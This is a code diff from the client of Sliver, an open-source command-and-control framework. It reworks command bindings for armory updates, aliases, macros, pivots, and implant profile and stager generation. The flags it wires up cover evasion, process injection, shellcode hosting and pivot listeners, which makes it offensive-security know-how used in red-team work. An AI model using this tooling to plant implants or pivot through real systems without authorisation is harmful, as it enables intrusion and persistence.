-func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(ctx)
-	refresh(clientConfig)
-	con.Printf(console.Clearln + "\r")
-
-	// Aliases
-	aliasUpdates := checkForAliasUpdates(clientConfig, con)
-	if 0 < len(aliasUpdates) {
-		con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
-		for _, aliasName := range aliasUpdates {
-			err := installAliasPackageByName(aliasName, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
-			}
-		}
-	} else {
-		con.PrintInfof("All aliases up to date!\n")
-	}
-
-	// Extensions
-	extUpdates := checkForExtensionUpdates(clientConfig, con)
-	if 0 < len(extUpdates) {
-		con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
-		for _, extName := range extUpdates {
-			err := installExtensionPackageByName(extName, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to update %s: %s\n", extName, err)
-			}
-		}
-	} else {
-		con.PrintInfof("All extensions up to date!\n")
-	}
-}
-
-func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
-	cachedAliases, _ := packagesInCache()
-	results := []string{}
-	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
-		data, err := ioutil.ReadFile(aliasManifestPath)
-		if err != nil {
-			continue
-		}
-		localManifest, err := alias.ParseAliasManifest(data)
-		if err != nil {
-			continue
-		}
-		for _, latestAlias := range cachedAliases {
-			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
-			// the armory differs at all from the local version, the extension is out of date.
-			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
-				results = append(results, localManifest.CommandName)
-			}
-		}
-	}
-	return results
-}
-
-func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
-	_, cachedExtensions := packagesInCache()
-	results := []string{}
-	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
-		data, err := ioutil.ReadFile(extManifestPath)
-		if err != nil {
-			continue
-		}
-		localManifest, err := extensions.ParseExtensionManifest(data)
-		if err != nil {
-			continue
-		}
-		for _, latestExt := range cachedExtensions {
-			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
-			// the armory differs at all from the local version, the extension is out of date.
-			if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
-				results = append(results, localManifest.CommandName)
-			}
-		}
-	}
-	return results
-}

client/command/commands.go

@@ -17,7 +17,7 @@ package command
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 
-	---------------------------------------------------------------------
+	---
 	This file contains all of the code that binds a given string/flags/etc. to a
 	command implementation function.
 
@@ -36,12 +36,11 @@ package command
 import (
 	"os"
 
+	"github.com/bishopfox/sliver/client/command/socks"
+
 	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
-	"github.com/bishopfox/sliver/client/command/completers"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
@@ -54,6 +53,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/jobs"
 	"github.com/bishopfox/sliver/client/command/kill"
 	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/command/macros"
 	"github.com/bishopfox/sliver/client/command/monitor"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/operators"
@@ -68,7 +68,6 @@ import (
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
-	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
 	"github.com/bishopfox/sliver/client/command/use"
@@ -87,7 +86,6 @@ const (
 // BindCommands - Bind commands to a App
 func BindCommands(con *console.SliverConsoleClient) {
 
-	// Load Reactions
 	n, err := reaction.LoadReactions()
 	if err != nil && !os.IsNotExist(err) {
 		con.PrintErrorf("Failed to load reactions: %s\n", err)
@@ -95,198 +93,16 @@ func BindCommands(con *console.SliverConsoleClient) {
 		con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
 	}
 
-	// Load Aliases
-	aliasManifests := assets.GetInstalledAliasManifests()
-	n = 0
-	for _, manifest := range aliasManifests {
-		_, err = alias.LoadAlias(manifest, con)
-		if err != nil {
-			con.PrintErrorf("Failed to load alias: %s\n", err)
-			continue
+	// Attempt to load extensions from ~/.sliver-client/extensions/
+	exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
+	// Absorb error in case there's no extensions manifest
+	if err == nil {
+		for _, ext := range exts {
+			extensions.RegisterExtensionCommand(ext, con)
 		}
-		n++
-	}
-	if 0 < n {
-		if n == 1 {
-			con.PrintInfof("Loaded %d alias from disk\n", n)
-		} else {
-			con.PrintInfof("Loaded %d aliases from disk\n", n)
-		}
-	}
-
-	// Load Extensions
-	extensionManifests := assets.GetInstalledExtensionManifests()
-	n = 0
-	for _, manifest := range extensionManifests {
-		ext, err := extensions.LoadExtensionManifest(manifest)
-		// Absorb error in case there's no extensions manifest
-		if err != nil {
-			con.PrintErrorf("Failed to load extension: %s\n", err)
-			continue
-		}
-		extensions.ExtensionRegisterCommand(ext, con)
-		n++
-	}
-	if 0 < n {
-		con.PrintInfof("Loaded %d extension(s) from disk\n", n)
 	}
 	con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
 
-	// [ Aliases ] ---------------------------------------------
-
-	aliasCmd := &grumble.Command{
-		Name:     consts.AliasesStr,
-		Help:     "List current aliases",
-		LongHelp: help.GetHelpFor([]string{consts.AliasesStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			alias.AliasesCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	}
-	con.App.AddCommand(aliasCmd)
-
-	aliasCmd.AddCommand(&grumble.Command{
-		Name:     consts.LoadStr,
-		Help:     "Load a command alias",
-		LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			alias.AliasesLoadCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("dir-path", "path to the alias directory")
-		},
-		Completer: func(prefix string, args []string) []string {
-			return completers.LocalPathCompleter(prefix, args, con)
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	aliasCmd.AddCommand(&grumble.Command{
-		Name:     consts.InstallStr,
-		Help:     "Install a command alias",
-		LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			alias.AliasesInstallCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("path", "path to the alias directory or tar.gz file")
-		},
-		Completer: func(prefix string, args []string) []string {
-			return completers.LocalPathCompleter(prefix, args, con)
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	aliasCmd.AddCommand(&grumble.Command{
-		Name:     consts.RmStr,
-		Help:     "Remove an alias",
-		LongHelp: help.GetHelpFor([]string{consts.RmStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			alias.AliasesRemoveCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("name", "name of the alias to remove")
-		},
-		Completer: func(prefix string, args []string) []string {
-			return alias.AliasCommandNameCompleter(prefix, args, con)
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	// [ Armory ] ---------------------------------------------
-
-	armoryCmd := &grumble.Command{
-		Name:     consts.ArmoryStr,
-		Help:     "Automatically download and install extensions/aliases",
-		LongHelp: help.GetHelpFor([]string{consts.ArmoryStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Bool("I", "insecure", false, "skip tls certificate validation")
-			f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
-			f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
-			f.String("t", "timeout", "15m", "download timeout")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			armory.ArmoryCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	}
-	con.App.AddCommand(armoryCmd)
-
-	armoryCmd.AddCommand(&grumble.Command{
-		Name:     consts.InstallStr,
-		Help:     "Install an alias or extension",
-		LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Bool("I", "insecure", false, "skip tls certificate validation")
-			f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
-			f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
-			f.String("t", "timeout", "15m", "download timeout")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			armory.ArmoryInstallCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("name", "name of the extension or alias to install")
-		},
-		Completer: func(prefix string, args []string) []string {
-			return armory.AliasExtensionOrBundleCompleter(prefix, args, con)
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	armoryCmd.AddCommand(&grumble.Command{
-		Name:     consts.UpdateStr,
-		Help:     "Update installed an aliases and extensions",
-		LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Bool("I", "insecure", false, "skip tls certificate validation")
-			f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
-			f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
-			f.String("t", "timeout", "15m", "download timeout")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			armory.ArmoryUpdateCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	armoryCmd.AddCommand(&grumble.Command{
-		Name:     consts.SearchStr,
-		Help:     "Search for aliases and extensions by name (regex)",
-		LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
-		Args: func(a *grumble.Args) {
-			a.String("name", "a name regular expression")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			armory.ArmorySearchCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
 	// [ Update ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -421,8 +237,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
 			f.Bool("D", "disable-otp", false, "disable otp authentication")
-			f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
-			f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
+			f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
+			f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -446,8 +262,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
 			f.Bool("D", "disable-otp", false, "disable otp authentication")
-			f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
-			f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
+			f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
+			f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
 
 			f.String("c", "cert", "", "PEM encoded certificate file")
 			f.String("k", "key", "", "PEM encoded private key file")
@@ -470,7 +286,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start a stager listener",
 		LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("p", "profile", "", "implant profile name to link with the listener")
+			f.String("p", "profile", "", "Implant profile to link with the listener")
 			f.String("u", "url", "", "URL to which the stager will call back to")
 			f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
@@ -510,10 +326,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Session management",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("i", "interact", "", "interact with a session")
-			f.String("k", "kill", "", "kill the designated session")
-			f.Bool("K", "kill-all", false, "kill all the sessions")
-			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
+			f.String("i", "interact", "", "interact with a sliver")
+			f.String("k", "kill", "", "Kill the designated session")
+			f.Bool("K", "kill-all", false, "Kill all the sessions")
+			f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -527,7 +343,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	}
 	sessionsCmd.AddCommand(&grumble.Command{
 		Name:     consts.PruneStr,
-		Help:     "Kill all stale/dead sessions",
+		Help:     "Kill all stale sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
 
@@ -606,8 +422,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
 			f.String("n", "dns", "", "dns connection strings")
-			f.String("p", "named-pipe", "", "namedpipe connection strings")
-			f.String("i", "tcp-pivot", "", "tcppivot connection strings")
+			f.String("p", "named-pipe", "", "named-pipe connection strings")
+			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
 
 			f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
 
@@ -623,24 +439,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 	}
 	con.App.AddCommand(openSessionCmd)
 
-	// [ Close ] --------------------------------------------------------------
-	closeSessionCmd := &grumble.Command{
-		Name:     consts.CloseStr,
-		Help:     "Close an interactive session without killing the remote process",
-		LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			sessions.CloseSessionCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	}
-	con.App.AddCommand(closeSessionCmd)
-
 	// [ Tasks ] --------------------------------------------------------------
 
 	tasksCmd := &grumble.Command{
@@ -705,7 +503,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Completer: func(prefix string, args []string) []string {
-			return use.BeaconAndSessionIDCompleter(prefix, args, con)
+			return use.Completer(con, prefix, args)
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	}
@@ -1006,7 +804,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverHelpGroup,
@@ -1020,9 +817,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
-			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the shared library file")
@@ -1277,7 +1073,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	generateCmd.AddCommand(&grumble.Command{
 		Name:     consts.StagerStr,
-		Help:     "Generate a stager using Metasploit (requires local Metasploit installation)",
+		Help:     "Generate a implant stager using MSF",
 		LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("o", "os", "windows", "operating system")
@@ -1288,7 +1084,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
 			f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
 			f.String("s", "save", "", "directory to save the generated stager to")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -1300,9 +1095,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.GenericHelpGroup,
 	})
 	generateCmd.AddCommand(&grumble.Command{
-		Name:     consts.CompilerInfoStr,
+		Name:     consts.CompilerStr,
 		Help:     "Get information about the server's compiler",
-		LongHelp: help.GetHelpFor([]string{consts.CompilerInfoStr}),
+		LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1357,16 +1152,11 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Generate implant from a profile",
 		LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
 		Flags: func(f *grumble.Flags) {
+			f.String("p", "name", "", "profile name")
 			f.String("s", "save", "", "directory/file to the binary to")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
-		Args: func(a *grumble.Args) {
-			a.String("name", "name of the profile", grumble.Default(""))
-		},
-		Completer: func(prefix string, args []string) []string {
-			return generate.ProfileNameCompleter(prefix, args, con)
-		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			generate.ProfilesGenerateCmd(ctx, con)
@@ -1375,35 +1165,32 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
-	profilesNewCmd := &grumble.Command{
+	profilesCmd.AddCommand(&grumble.Command{
 		Name:     consts.NewStr,
-		Help:     "Create a new implant profile (interactive session)",
+		Help:     "Save a new implant profile",
 		LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
 		Flags: func(f *grumble.Flags) {
-
-			// Generate flags
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
-
 			f.Bool("d", "debug", false, "enable debug features")
 			f.Bool("e", "evasion", false, "enable evasion features")
-			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
 
-			f.String("c", "canary", "", "canary domain(s)")
-
-			f.String("m", "mtls", "", "mtls connection strings")
-			f.String("g", "wg", "", "wg connection strings")
-			f.String("b", "http", "", "http(s) connection strings")
-			f.String("n", "dns", "", "dns connection strings")
+			f.String("m", "mtls", "", "mtls domain(s)")
+			f.String("g", "wg", "", "wg domain(s)")
+			f.String("H", "http", "", "http[s] domain(s)")
+			f.String("n", "dns", "", "dns domain(s)")
 			f.String("p", "named-pipe", "", "named-pipe connection strings")
 			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
 
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.String("c", "canary", "", "canary domain(s)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
-			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
+			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
 
 			f.String("w", "limit-datetime", "", "limit execution to before datetime")
 			f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1413,11 +1200,11 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
+			f.String("R", "profile-name", "", "profile name")
+			f.String("N", "name", "", "agent name")
+
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
-		Args: func(a *grumble.Args) {
-			a.String("name", "name of the profile", grumble.Default(""))
-		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			generate.ProfilesNewCmd(ctx, con)
@@ -1425,67 +1212,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		HelpGroup: consts.GenericHelpGroup,
-	}
-	profilesCmd.AddCommand(profilesNewCmd)
-
-	// New Beacon Profile Command
-	profilesNewCmd.AddCommand(&grumble.Command{
-		Name:     consts.BeaconStr,
-		Help:     "Create a new implant profile (beacon)",
-		LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int64("D", "days", 0, "beacon interval days")
-			f.Int64("H", "hours", 0, "beacon interval hours")
-			f.Int64("M", "minutes", 0, "beacon interval minutes")
-			f.Int64("S", "seconds", 60, "beacon interval seconds")
-			f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
-
-			// Generate flags
-			f.String("o", "os", "windows", "operating system")
-			f.String("a", "arch", "amd64", "cpu architecture")
-
-			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
-			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
-
-			f.String("c", "canary", "", "canary domain(s)")
-
-			f.String("m", "mtls", "", "mtls connection strings")
-			f.String("g", "wg", "", "wg connection strings")
-			f.String("b", "http", "", "http(s) connection strings")
-			f.String("n", "dns", "", "dns connection strings")
-			f.String("p", "named-pipe", "", "named-pipe connection strings")
-			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
-
-			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
-			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
-
-			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
-			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
-			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
-
-			f.String("w", "limit-datetime", "", "limit execution to before datetime")
-			f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
-			f.String("y", "limit-username", "", "limit execution to specified username")
-			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
-			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-
-			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("name", "name of the profile", grumble.Default(""))
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			generate.ProfilesNewBeaconCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
 	})
-
 	profilesCmd.AddCommand(&grumble.Command{
 		Name:     consts.RmStr,
 		Help:     "Remove a profile",
@@ -1494,10 +1221,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Args: func(a *grumble.Args) {
-			a.String("name", "name of the profile", grumble.Default(""))
-		},
-		Completer: func(prefix string, args []string) []string {
-			return generate.ProfileNameCompleter(prefix, args, con)
+			a.String("profile-name", "name of the profile")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1514,13 +1238,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "List implant builds",
 		LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("o", "os", "", "filter builds by operating system")
-			f.String("a", "arch", "", "filter builds by cpu architecture")
-			f.String("f", "format", "", "filter builds by artifact format")
-			f.Bool("s", "only-sessions", false, "filter interactive sessions")
-			f.Bool("b", "only-beacons", false, "filter beacons")
-			f.Bool("d", "no-debug", false, "filter builds by debug flag")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -1539,10 +1256,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Args: func(a *grumble.Args) {
-			a.String("name", "implant name", grumble.Default(""))
-		},
-		Completer: func(prefix string, args []string) []string {
-			return generate.ImplantBuildNameCompleter(prefix, args, generate.ImplantBuildFilter{}, con)
+			a.String("implant-name", "implant name")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -2147,6 +1861,24 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(beaconsCmd)
 
+	// [ Macros ] ---------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.LoadMacroStr,
+		Help:     "Load a sliver macro",
+		LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			macros.LoadMacroCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("dir-path", "path to the macro directory")
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+
 	// [ Environment ] ---------------------------------------------
 
 	envCmd := &grumble.Command{
@@ -2294,25 +2026,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("o", "hostname", "", "remote host to write values to")
 		},
 	})
-	registryCmd.AddCommand(&grumble.Command{
-		Name:     consts.RegistryDeleteKeyStr,
-		Help:     "Remove a registry key",
-		LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
-		Args: func(a *grumble.Args) {
-			a.String("registry-path", "registry path")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			registry.RegDeleteKeyCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.String("H", "hive", "HKCU", "registry hive")
-			f.String("o", "hostname", "", "remote host to remove value from")
-		},
-	})
 	registryCmd.AddCommand(&grumble.Command{
 		Name:     consts.RegistryListSubStr,
 		Help:     "List the sub keys under a registry key",
@@ -2356,10 +2069,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Pivots ] --------------------------------------------------------------
 
-	pivotsCmd := &grumble.Command{
-		Name:     consts.PivotsStr,
-		Help:     "List pivots for active session",
-		LongHelp: help.GetHelpFor([]string{consts.PivotsStr}),
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.PivotsListStr,
+		Help:     "List pivots",
+		LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			pivots.PivotsCmd(ctx, con)
@@ -2368,96 +2081,40 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("i", "id", "", "session id")
 		},
 		HelpGroup: consts.SliverHelpGroup,
-	}
-	con.App.AddCommand(pivotsCmd)
+	})
 
-	pivotsCmd.AddCommand(&grumble.Command{
+	con.App.AddCommand(&grumble.Command{
 		Name:     consts.NamedPipeStr,
 		Help:     "Start a named pipe pivot listener",
-		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
+		LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
-
+			f.String("n", "name", "", "name of the named pipe")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			pivots.StartNamedPipeListenerCmd(ctx, con)
+			pivots.NamedPipeListenerCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
-	pivotsCmd.AddCommand(&grumble.Command{
+	con.App.AddCommand(&grumble.Command{
 		Name:     consts.TCPListenerStr,
 		Help:     "Start a TCP pivot listener",
-		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}),
+		LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("b", "bind", "", "remote interface to bind pivot listener")
-			f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp pivot listener port")
-
+			f.String("s", "server", "0.0.0.0", "interface to bind server to")
+			f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp listen port")
